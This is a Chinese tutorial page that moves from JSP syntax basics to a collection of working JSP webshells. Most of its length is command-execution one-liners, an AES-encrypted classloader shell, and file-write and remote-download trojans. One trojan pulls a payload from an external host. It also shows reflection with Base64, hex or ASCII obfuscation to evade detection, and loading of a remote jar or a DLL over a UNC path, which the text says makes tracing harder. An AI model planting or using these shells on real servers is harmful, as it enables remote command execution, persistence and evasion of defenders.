1. JSP基础语法

0x1: 脚本程序

脚本程序可以包含任意量的Java语句、变量、方法或表达式,只要它们在脚本语言中是有效的

脚本程序的语法格式:
<% 代码片段 %> 或者可以编写与其等价的XML语句
<jsp:scriptlet>
代码片段
</jsp:scriptlet>

任何文本、HTML标签、JSP元素必须写在脚本程序的外面

<html>
<head><title>Hello World</title></head>
<body>
Hello World!<br/>
<%
out.println("Your IP address is " + request.getRemoteAddr());
%>
</body>
</html>

0x2: JSP声明

一个声明语句可以声明一个或多个变量、方法,供后面的Java代码使用。在JSP文件中,您必须先声明这些变量和方法然后才能使用它们
JSP声明的语法格式

<%! declaration; [ declaration; ]+ ... %>

或者也可以编写与其等价的XML语句
<jsp:declaration>
代码片段
</jsp:declaration>

程序示例

<%! int i = ; %>
<%! int a, b, c; %>
<%! Circle a = new Circle(2.0); %>

0x3: JSP表达式

. 一个JSP表达式中包含的脚本语言表达式,先被转化成String,然后插入到表达式出现的地方
. 由于表达式的值会被转化成String,所以您可以在一个文本行中使用表达式而不用去管它是否是HTML标签
. 表达式元素中可以包含任何符合Java语言规范的表达式,但是不能使用分号来结束表达式

JSP表达式的语法格式

<%= 表达式 %>

同样也可以编写与之等价的XML语句
<jsp:expression>
表达式
</jsp:expression>

程序示例

<html>
<head><title>A Comment Test</title></head>
<body>
<p>
Today's date: <%= (new java.util.Date()).toLocaleString()%>
</p>
</body>
</html>

0x4: JSP注释

JSP注释主要有两个作用: 为代码作注释、以及将某段代码注释掉

1. HTML注释

<!-- comment [ <%= expression %> ] -->

示例

<!-- This file displays the user login screen -->
在客户端的HTML源代码中产生和上面一样的数据:
<!-- This file displays the user login screen --> <!-- This page was loaded on <%= (new java.util.Date()).toLocaleString() %> -->

2. 隐藏注释

写在JSP程序中,但不是发给客户

<%-- 这里可以填写 JSP 注释 --%>

JSP编译器是不会对<%-- ... --%>之间的语句进行编译的,它不会显示在客户的浏览器中,也不会在源代码中看到在<%-- --%>之间的代码,你可以任意写注释语句,但是不能使用"--%>",如果你非要使用请用"--%\>"

<html>
<head><title>A Comment Test</title></head>
<body>
<h2>A Test of Comments</h2>
<%-- 该部分注释在网页中不会被显示--%>
</body>
</html>

0x5: JSP指令

JSP指令用来设置与整个JSP页面相关的属性
JSP指令语法格式

<%@ directive attribute="value" %>
这里有三种指令标签
. <%@ page ... %>: 定义页面的依赖属性,比如脚本语言、error页面、缓存需求等等
. <%@ include ... %>: 包含其他文件
<%@ taglib ... %>: 引入标签库的定义,可以是自定义标签

0x6: JSP行为

JSP行为标签使用XML语法结构来控制servlet引擎。它能够动态插入一个文件,重用JavaBean组件,引导用户去另一个页面,为Java插件产生相关的HTML等等
行为标签只有一种语法格式,它严格遵守XML标准

<jsp:action_name attribute="value" />

0x7: JSP隐含对象

JSP支持九个自动定义的变量,称为隐含对象

. request: HttpServletRequest类的实例
. response: HttpServletResponse类的实例
. out: PrintWriter类的实例,用于把结果输出至网页上
. session: HttpSession类的实例
. application: ServletContext类的实例,与应用上下文有关
. config: ServletConfig类的实例
. pageContext: PageContext类的实例,提供对JSP页面所有对象以及命名空间的访问
. page: 类似于Java类中的this关键字
. Exception: Exception类的对象,代表发生错误的JSP页面中对应的异常对象

0x8: JSP常量

JSP语言定义了以下几个常量

. Boolean: true and false
. Integer: 与Java中的一样
. Floating point: 与Java中的一样
. String: 以单引号或双引号开始和结束。" 被转义成 \",'被转义成 \', \ 被转义成\\
. Null: null

Relevant Link:

http://www.runoob.com/jsp/jsp-syntax.html
http://vod.sjtu.edu.cn/help/Article_Show.asp?ArticleID=1448

2. Java动态特性

Java语言动态性一直以来都比较差,并不像PHP那样灵活。在Java中的动态性往往需要使用一些曲折的方式来实现.这里简单列举了Java十余种动态性相关技术并总结部分技术实现安全问题。

  • Java反射机制
  • MethodHandle
  • JDK动态代理
  • 使用JVM上的动态语言,如
    • Groovy
    • JRuby
    • Jython
  • 表达式库,如
    • OGNL
    • MVEL
    • SpEL
    • EL
  • JSP、JSPX、Quercus(Resin容器提供了PHP5支持)
  • 字节码库,如
    • Asm
    • Javassist
    • Cglib
    • BCEL
  • ScriptEngineManager(脚本引擎)
  • 动态编译,如
    • JDT
    • JavaCompiler
  • ClassLoader、URLClassLoader
  • 模版引擎,如
    • Freemarker
    • Velocity
  • 序列化、反序列化(包含Java 对象序列化、XML、JSON等)
  • JNI、JNA(Java调用C/C++)
  • OSGi(Open Service Gateway Initiative)
  • RMI(Java远程方法调用,基于对象序列化机制实现)
  • WebService
  • JDWP(Java Platform Debugger Architecture Java调试协议)
  • JMX(Java Management Extensions)

0x1:Java反射机制特性

Java反射机制可以无视类方法、变量访问权限修饰符,可以调用任何类的任意方法、访问并修改成员变量值。也就是说只要发现一处Java反射调用漏洞几乎就可以为实现任何目的。当然前提可能需要你能控制反射的类名、方法名和参数。

一行代码即可实现反射调用Runtime执行本地命令:

Runtime.class.getMethod("exec", String.class).invoke(Runtime.class.getMethod("getRuntime").invoke(null), "whoami")

Relevant Link:

https://www.freebuf.com/articles/web/194836.html

3. WEBSHELL变形方式

0x0:普通一句话

1、session传参

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,,b.length);}}%>
<%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring();session.putValue("u",k);
out.print(k);return;}
Cipher c=Cipher.getInstance("AES");
SecretKeySpec sec=new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES");
c.init(,sec);
String uploadString= request.getReader().readLine();
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(uploadString))).newInstance().equals(pageContext);%>

Relevant Link:

https://www.ddosi.com/b237/
https://github.com/tdifg/WebShell/blob/master/Jsp/pwnshell%20-%20an%20interactive%20jsp%20shell.jsp
https://github.com/ysrc/webshell-sample/blob/master/jsp/b11440638084ab162d5759d23f881ea0fc13a28b.jsp

2、response相关

String cs = request.getParameter("z0") + "";
request.setCharacterEncoding(cs);
response.setContentType("text/html;charset=" + cs);
String Z = EC(request.getParameter(Pwd) + "", cs);
String z1 = EC(request.getParameter("z1") + "", cs);
String z2 = EC(request.getParameter("z2") + "", cs);
StringBuffer sb = new StringBuffer("");
try
{
sb.append("->" + "|");
if (Z.equals("A"))
{
String s = new File(application.getRealPath(request.getRequestURI())).getParent();
sb.append(s + "\t");
if (!s.substring(, ).equals("/"))
{
AA(sb);
}
}
}

3、HttpURLConnection

<%@page import="java.io.*"%><%@page import="java.net.*"%><%String t=request.getRealPath("/")+request.getParameter("f");new File(t).getParentFile().mkdirs();if(request.getParameter("p")==null){DataInputStream i=new DataInputStream(((HttpURLConnection)(new URL("http://qztmi.cn/js/h.txt").openConnection())).getInputStream());DataOutputStream o=new DataOutputStream(new FileOutputStream(t));byte[] b=new byte[];int c=;while((c=i.read(b))>){o.write(b,,c);}o.close();i.close();out.println("down-ok");response.setHeader("down-ok","");}else{(new FileOutputStream(t)).write(request.getParameter("p").getBytes());out.println("upload-ok");}%> 

4、借助http header传参

<%Runtime.getRuntime().exec(request.getHeader("c"));%>.

0x1:利用JSP中的字符串混淆方式

1. ASCII

String a=new String(new byte[] { , , , , , ,  });
System.out.println("ASCII: "+a);

2. HEX

import javax.xml.bind.DatatypeConverter;
String b= new String(DatatypeConverter.parseHexBinary("797a64644d7236"));
System.out.println("HEX: "+b);

3. BASE64

import sun.misc.BASE64Decoder;
String c = new String(new BASE64Decoder().decodeBuffer("eXpkZE1yNg=="));
System.out.println("BASE64: "+c);

0x2: 写文件木马

1. 把字符串编码后写入指定文件

<%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%>
请求:http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 写入web目录: <%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes());%>
请求:http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2: <%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>
请求:http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 写入web目录: <%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>
请求:http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234

2. 下载远程文件

<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = new byte[]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -; while ((a = in.read(b)) != -) { baos.write(b, , a); } new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %>
请求:http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png 下载到web路径:
<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = new byte[]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -; while ((a = in.read(b)) != -) { baos.write(b, , a); } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %>
请求:http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png

Relevant Link:

http://www.2cto.com/Article/201503/378649.html
http://www.blogjava.net/lusm/archive/2007/02/21/100295.html
http://dingody.iteye.com/blog/2003882
http://blog.kukafei520.net/html/2010/444.html
http://www.125135.com/491711.html
http://www.125135.com/317079.htm
http://www.125135.com/317770.htm
http://p2j.cn/?p=1627

0x3:普通进程启动一句话

1. 无回显

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

2. 有回显带密码验证

JAVA执行系统命令的核心就是Runtime.getRuntime().exec(cmd)

<% if("".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -; byte[] b = new byte[]; out.print("<pre>");
while((a=in.read(b))!=-){
out.println(new String(b,,a));
}
out.print("</pre>");
}
%>

0x4:通过类反射机制实现进程启动一句话

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<%
if(request.getParameter("cmd")!=null){
BASE64Decoder decoder = new BASE64Decoder();
Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));
Process e = (Process)
rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(new
String(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new
Object[]{}), request.getParameter("cmd") );
java.io.InputStream in = e.getInputStream();
int a = -;
byte[] b = new byte[];
out.print("<pre>");
while((a=in.read(b))!=-){
out.println(new String(b));
}
out.print("</pre>");
}
%>

0x5:反射机制+编码实现进程启动一句话

1. 利用ASCII编码

<%@ page contentType="text/html;charset=UTF-8"  language="java" %>
<%
if(request.getParameter("cmd")!=null){
Class rt = Class.forName(new String(new byte[] { , , , , , , , , , , , , , , , , }));
Process e = (Process) rt.getMethod(new String(new byte[] { , , , }), String.class).invoke(rt.getMethod(new String(new byte[] { , , , , , , , , , })).invoke(null), request.getParameter("cmd") );
java.io.InputStream in = e.getInputStream();
int a = -;byte[] b = new byte[];out.print("<pre>");
while((a=in.read(b))!=-){ out.println(new String(b)); }out.print("</pre>");
}
%>

2. 利用HEX编码

<%@ page contentType="text/html;charset=UTF-8" import="javax.xml.bind.DatatypeConverter" language="java" %>
<%
if(request.getParameter("cmd")!=null){
Class rt = Class.forName(new String(DatatypeConverter.parseHexBinary("6a6176612e6c616e672e52756e74696d65")));
Process e = (Process) rt.getMethod(new String(DatatypeConverter.parseHexBinary("")), String.class).invoke(rt.getMethod(new String(DatatypeConverter.parseHexBinary("67657452756e74696d65"))).invoke(null), request.getParameter("cmd") );
java.io.InputStream in = e.getInputStream();
int a = -;byte[] b = new byte[];out.print("<pre>");
while((a=in.read(b))!=-){ out.println(new String(b)); }out.print("</pre>");
}
%>

java中与执行命令相关的主要有两个类:

java.lang.Runtime
java.lang.ProcessBuilder

我们上文中反射了Runtime类,那么同样我们也可以反射ProcessBuilder类,原理类似。

0x6:通过反射加载shellcode代码

类反射可以把我们想要调用的函数或者类的名字,通过一个字符串来进行传递。此时也就相当于我们实现了php中的变量函数,就可以利用base64编码或者hex编码等来混淆关键函数。Java的类反射机制是jsp shell具备动态对抗特性的一个重要原因。

使用反射调用对象方法的步骤如下:

Class clz = Class.forName("test.Apple"); // 获取类的 Class 对象实例
Constructor appleConstructor = clz.getConstructor(); // 根据 Class 对象实例获取 Constructor 对象
Object appleObj = appleConstructor.newInstance();// 使用 Constructor 对象的 newInstance 方法获取反射类对象
Method setPriceMethod = clz.getMethod("setPrice", int.class); // 获取方法的 Method 对象
setPriceMethod.invoke(appleObj, ); // 利用 invoke 方法调用方法

如果没有构造函数的情况下会更简单一些:

Class clz = Class.forName("test.Apple"); // 获取类的 Class 对象实例
Object appleObj=clz.newInstance();// 直接获得clz类的一个实例化对象
Method setPriceMethod = clz.getMethod("setPrice", int.class); // 获取方法的 Method 对象
setPriceMethod.invoke(appleObj, ); // 利用 invoke 方法调用方法

可以压缩一下写成一行的形式

Class.forName("test.Apple").getMethod("setPrice", int.class).invoke(Class.forName("test.Apple").newInstance(),);

上面的类反射加载只能加载本地的.class文件,这本质上只相当于php中的“include localfile.php”的作用。

要想实现类似php中的任意eval shellcode的目的,就需要我们能向反射类加载器传递任意的classcode,这也就是冰蝎可以做到动态解析二进制class字节码的原理。

我们通过一个小例子来说明:

首先写一个命令执行的类,调一个calc,但是我们不写主函数,也就是说我们先不让他运行。

package test;
import java.io.IOException;
public class calc {
@Override
public String toString() {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
return "OK";
}
}

在项目里生成之后,在out目录下可以看到编译好的二进制class文件。

然后把它base64,保存下来,

接着生成一个loader类,用于加载我们的class文件,

package test;
import sun.misc.BASE64Decoder;
public class loader {
public static class Myloader extends ClassLoader //继承ClassLoader
{
public Class get(byte[] b)
{
return super.defineClass(b, , b.length);
}
}
public static void main(String[] args) throws Exception {
String classStr="xxxxxxxxxxxxxxxxx"; // class的base64编码
BASE64Decoder code=new sun.misc.BASE64Decoder();
Class result=new Myloader().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入t类的get函数
System.out.println(result.newInstance().toString());
}
}

运行后成功调用计算器。

将代码中硬编码的class string改为从外部参数传入,就成为了jsp eval一句话木马了。

<%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})).getMethods()[].invoke(null, new Object[]{request.getParameterMap()})%> 

通过远程加载的方式,把远程的jar文件进行加载 (有害代码里都放jar里),本质上和php里的include原理类似。

远程部署的jar里放会被查杀的shell代码,比如菜刀的一句话客户端(.java)文件,然后把该java 文件编译成jar包即可。

Relevant Link:

https://mp.weixin.qq.com/s?__biz=MzI1MDIzMDAwMA==&mid=2247483974&idx=1&sn=5e692b451dc0681689ffc896dc368c4a&scene=21#wechat_redirect

0x7:利用jni远程调用载入dll,实现payload和loader分离

在java中,Java无法直接访问到操作系统底层如硬件系统,为此Java提供了JNI(Java Native Interface )来实现对于底层的访问。

JNI允许Java代码使用以其他语言编写的代码和代码库,本地程序中的函数也可以调用Java层的函数,即JNI实现了Java和本地代码间的双向交互。

java中可以使用native关键字来说明这个方法是原生函数,也就是这个方法是用C/C++语言实现的,并且被编译成了DLL,由java去调用。

可以将native方法比作Java程序同C程序的接口,其实现步骤:

1. 在Java中声明native()方法,然后编译;
2. 用javah命令产生一个.h文件;
3. 写一个.cpp文件实现native导出方法,其中需要包含第二步产生的.h文件(注意其中又包含了JDK带的jni.h文件);
4. 将第三步的.cpp文件编译成动态链接库文件;
5. 在Java中用System.loadLibrary()或者System.load()方法加载第四步产生的动态链接库文件,这个native()方法就可以在Java中被访问了。

最后jsp webshell如下:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
class JniClass {
public native String exec(String string);
public JniClass() {
//System.load("/Users/nano/IdeaProjects/untitled1/target/classes/libJniClass.jnilib");
//System.load("C:\\Program Files\\Apache Software Foundation\\Tomcat 8.5\\webapps\\shellbypass\\1.dll");
System.load("\\\\vmware-host\\Shared Folders\\test\\1.dll");
}
}
;
%>
<%
String cmd = request.getParameter("cmd");
JniClass jniClass = new JniClass();
String res = jniClass.exec(cmd);
%>
<%=res%>

jsp load时有两种思路,一种是将该jsp文件和该dll放置于服务器的本地路径。jsp的代码里指定dll的绝对路径\相对路径;另外一种是使用unc路径,这样恶意dll通过远程部署,加强隐蔽程度,加大溯源难度、提高部署灵活度。

Relevant Link:

https://mp.weixin.qq.com/s/RCXrCHJl4w4CTeLk_HPzQA

Deformity JSP Webshell、Webshell Hidden Learning的更多相关文章

  1. Deformity PHP Webshell、Webshell Hidden Learning

    目录 . 引言 . webshell原理介绍 . webshell的常见类型以及变种方法 . webshell的检测原理以及检测工具 . webshell隐藏反检测对抗手段 0. 引言 本文旨在研究W ...

  2. Deformity ASP/ASPX Webshell、Webshell Hidden Learning

    catalog . Active Server Page(ASP) . ASP.NET . ASP WEBSHELL变形方式 . ASPX WEBSHELL变形方式 . webshell中常见的编码转 ...

  3. 各种隐藏 WebShell、创建、删除畸形目录、特殊文件名、黑帽SEO作弊(转自核大大)

    其实这个问题,经常有朋友问我,我也都帮大家解决了…… 但是现在这些现象越来越严重,而且手法毒辣.隐蔽.变态,清除了又来了,删掉了又恢复了,最后直接找不到文件了,但是访问网站还在,急的各大管理员.站长抓 ...

  4. 云锁Linux服务器安全软件安装及防护webshell、CC、XSS跨站攻击设置

    无论我们在使用电脑,还是使用VPS/服务器的时候,最为担心的就是服务器是否有安全问题,尤其是网站服务器再遭受攻击的时候如何得到防护.对于大 部分站长用户来说,我们可能只会使用基础的环境,如果真遇到问题 ...

  5. WAF——针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入、XSS跨站、Webshell上传、命令注入、非法HTTP协议请求、非授权文件访问等

    核心概念 WAF Web应用防火墙(Web Application Firewall),简称WAF. Web攻击 针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入.XSS跨站.Websh ...

  6. Nginx Installation、Configuration、Rreverse Proxy、Load Balancing Learning

    目录 . Nginx简介 . Nginx安装部署 . Nginx安全配置 . Nginx反向代理实践 . Nginx负载均衡实践 1. Nginx简介 0x1: Nginx的基本特性 Nginx(&q ...

  7. JSP第一篇【JSP介绍、工作原理、生命周期、语法、指令、行为】

    什么是JSP JSP全名为Java Server Pages,java服务器页面.JSP是一种基于文本的程序,其特点就是HTML和Java代码共同存在! 为什么需要JSP JSP是为了简化Servle ...

  8. JAVA知识积累 JSP第一篇【JSP介绍、工作原理、生命周期、语法、指令、行为】

    什么是JSP JSP全名为Java Server Pages,java服务器页面.JSP是一种基于文本的程序,其特点就是HTML和Java代码共同存在! 为什么需要JSP JSP是为了简化Servle ...

  9. JSP(1) - JSP简介、原理、语法 - 小易Java笔记

    1.JSP简介 (1)JSP的全称是Java Server Pages(运行在服务器端的页面),实际就是Servlet(学习JSP的关键就是时刻联想到Servlet) (2)JSP.Servlet各自 ...

随机推荐

  1. TinyFrame续篇:整合Spring IOC实现依赖注入

    上一篇主要讲解了如何搭建基于CodeFirst的ORM,并且在章节末我们获取了上下文对象的实例:BookContext.这节主要承接上一篇,来讲解如何整合Spring IOC容器实现控制反转,依赖注入 ...

  2. swift---不同字体大小不同颜色label富文本设置

    agreeDeal = UILabel() //富文本,不同字体颜色大小和颜色 let labelString = "登录注册,表示您同意<服务条款及隐私政策>"as ...

  3. 如何配置多个ssh key

    上一篇简单学习了下怎样利用git bash上传文件到指定的github项目中,我们来回顾下.首先在本地安装好git,设置好用户名和邮箱(提交时的显示),接着我们生成SSH key把它添加到该项目own ...

  4. github开源:企业级应用快速开发框架CIIP WEB+WIN+移动端

    简介 CIIP是基于XAF开发的开源信息系统框架.CIIP最常见的应用场景是基于数据库的企业级应用程序,例如供应链系统,ERP系统,MRP系统,CRM系统等. CIIP支持WEB版本.Windows桌 ...

  5. TensorFlow 源代码初读感受

    把自己微博发的文章:http://www.weibo.com/1804230372/En7PdlgLb?from=page_1005051804230372_profile&wvr=6& ...

  6. 《深入理解Spark:核心思想与源码分析》(第2章)

    <深入理解Spark:核心思想与源码分析>一书前言的内容请看链接<深入理解SPARK:核心思想与源码分析>一书正式出版上市 <深入理解Spark:核心思想与源码分析> ...

  7. springMvc接受日期类型参数处理

    这个问题,也即是springMvc如何进行参数类型的转换 以把client传过来一个String类型,转换为日期类型为例: 1.controller /** * 接收日期类型参数 * 注意: * sp ...

  8. 2016年GitHub 排名前 100 的安卓、iOS项目简介(收藏)

    排名完全是根据 GitHub 搜索 Java 语言选择 (Best Match) 得到的结果, 然后过滤了跟 Android 不相关的项目, 所以排名并不具备任何官方效力, 仅供参考学习, 方便初学者 ...

  9. Java学习之ConcurrentHashMap实现一个本地缓存

    ConcurrentHashMap融合了Hashtable和HashMap二者的优势. Hashtable是做了线程同步,HashMap未考虑同步.所以HashMap在单线程下效率较高,Hashtab ...

  10. [转]Spring的事务管理难点剖析(1):DAO和事务管理的牵绊

    原文地址:http://stamen.iteye.com/blog/1441758 有些人很少使用Spring而不使用Spring事务管理器的应用,因此常常有人会问:是否用了Spring,就一定要用S ...